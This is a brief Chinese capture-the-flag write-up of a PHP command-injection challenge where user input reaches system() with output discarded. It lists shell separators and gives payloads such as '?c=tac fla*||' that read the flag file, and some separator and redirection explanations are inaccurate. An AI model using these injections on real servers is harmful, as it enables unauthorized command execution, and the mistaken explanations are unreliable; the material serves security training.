1. 代码审计

      1. <?php
      2. if(isset($_GET['c'])){
      3. $c=$_GET['c'];
      4. system($c." >/dev/null 2>&1");
      5. //标准输出和错误输出都进了黑洞,不会打印到屏幕
      6. }else{
      7. highlight_file(__FILE__);
      8. }
    2. 这里是将标准输入重定向到黑洞,再把标准错误指向标准输入,则标准输出和错误都进黑洞了,不会打印到屏幕上,可以利用shell命令分隔即可

      ;    //分号
      |    //只执行后面那条命令
      ||    //只执行前面那条命令
      &    //两条命令都会执行
      &&    //两条命令都会执行
      
      ?c=tac fla*||
      ?c=tac fla*;